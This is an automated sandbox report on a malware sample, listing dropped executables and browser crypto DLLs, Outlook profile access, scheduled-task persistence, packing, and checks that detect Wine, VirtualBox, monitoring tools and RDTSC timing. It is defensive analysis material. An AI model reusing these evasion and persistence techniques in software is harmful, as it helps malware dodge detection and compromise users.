Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2531328 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x226c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1867220167.000000006C6FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.420000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Unpacked PE file: 6.2.KECBKKEBKE.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 8.2.explorti.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Unpacked PE file: 12.2.a16b294260.exe.d20000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 18.2.explorti.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 20.2.explorti.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 21.2.explorti.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ardsdpuc:EW;iyggtkqf:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C52C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C52C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1da6af should be: 0x1dd380
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x278e18
Source: a16b294260.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x278e18
Source: file.exe	Static PE information: real checksum: 0x0 should be: 0x278e18
Source: KECBKKEBKE.exe.0.dr	Static PE information: real checksum: 0x1da6af should be: 0x1dd380
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1da6af should be: 0x1dd380

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: ardsdpuc
Source: amadka[1].exe.0.dr	Static PE information: section name: iyggtkqf
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name:
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: .idata
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name:
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: ardsdpuc
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: iyggtkqf
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: ardsdpuc
Source: explorti.exe.6.dr	Static PE information: section name: iyggtkqf
Source: explorti.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:
Source: a16b294260.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FB536 push ecx; ret	0_2_6C4FB549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_007BD82C push ecx; ret	8_2_007BD83F
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_00989680 push 59F0DBFCh; mov dword ptr [esp], esi	8_2_00989749
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC327C0 push 7EC30002h; ret	12_2_7EC327CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC31BC0 push 7EC30002h; ret	12_2_7EC31BCF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC318C0 push 7EC30002h; ret	12_2_7EC318CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30CC0 push 7EC30002h; ret	12_2_7EC30CCF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30FC0 push 7EC30002h; ret	12_2_7EC30FCF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC312C0 push 7EC30002h; ret	12_2_7EC312CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC315C0 push 7EC30002h; ret	12_2_7EC315CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC31EC0 push 7EC30002h; ret	12_2_7EC31ECF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC321C0 push 7EC30002h; ret	12_2_7EC321CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC324C0 push 7EC30002h; ret	12_2_7EC324CF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC329D0 push 7EC30002h; ret	12_2_7EC329DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC326D0 push 7EC30002h; ret	12_2_7EC326DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC31AD0 push 7EC30002h; ret	12_2_7EC31ADF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30BD0 push 7EC30002h; ret	12_2_7EC30BDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30ED0 push 7EC30002h; ret	12_2_7EC30EDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC311D0 push 7EC30002h; ret	12_2_7EC311DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC314D0 push 7EC30002h; ret	12_2_7EC314DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC317D0 push 7EC30002h; ret	12_2_7EC317DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC31DD0 push 7EC30002h; ret	12_2_7EC31DDF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC320D0 push 7EC30002h; ret	12_2_7EC320DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC323D0 push 7EC30002h; ret	12_2_7EC323DF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC328E0 push 7EC30002h; ret	12_2_7EC328EF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC325E0 push 7EC30002h; ret	12_2_7EC325EF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC319E0 push 7EC30002h; ret	12_2_7EC319EF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30AE0 push 7EC30002h; ret	12_2_7EC30AEF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC30DE0 push 7EC30002h; ret	12_2_7EC30DEF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC310E0 push 7EC30002h; ret	12_2_7EC310EF
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Code function: 12_2_7EC313E0 push 7EC30002h; ret	12_2_7EC313EF

Source: file.exe	Static PE information: section name: entropy: 7.994691575034732
Source: file.exe	Static PE information: section name: entropy: 7.97577819609616
Source: file.exe	Static PE information: section name: entropy: 7.9544755746970495
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.978444730688723
Source: amadka[1].exe.0.dr	Static PE information: section name: ardsdpuc entropy: 7.9530957101483075
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: entropy: 7.978444730688723
Source: KECBKKEBKE.exe.0.dr	Static PE information: section name: ardsdpuc entropy: 7.9530957101483075
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.978444730688723
Source: explorti.exe.6.dr	Static PE information: section name: ardsdpuc entropy: 7.9530957101483075
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.994691575034732
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.97577819609616
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.9544755746970495
Source: a16b294260.exe.8.dr	Static PE information: section name: entropy: 7.994691575034732
Source: a16b294260.exe.8.dr	Static PE information: section name: entropy: 7.97577819609616
Source: a16b294260.exe.8.dr	Static PE information: section name: entropy: 7.9544755746970495

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5255F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: C3EA74 second address: C3EA87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF1404Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: C3EA87 second address: C3EA8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DB876E second address: DB8778 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DB8CC3 second address: DB8CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b jno 00007F44DCF2CAEEh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F44DCF2CAEDh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DB8E6A second address: DB8E8A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F44DCF14048h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F44DCF1404Ch 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DB9026 second address: DB9048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44DCF2CAEDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push esi 0x0000000d push edx 0x0000000e je 00007F44DCF2CAE6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB10E second address: DBB135 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F44DCF14052h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F44DCF1404Ch 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB135 second address: DBB14F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44DCF2CAE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jbe 00007F44DCF2CAF4h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB14F second address: DBB160 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F44DCF14046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	RDTSC instruction interceptor: First address: DBB160 second address: DBB164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
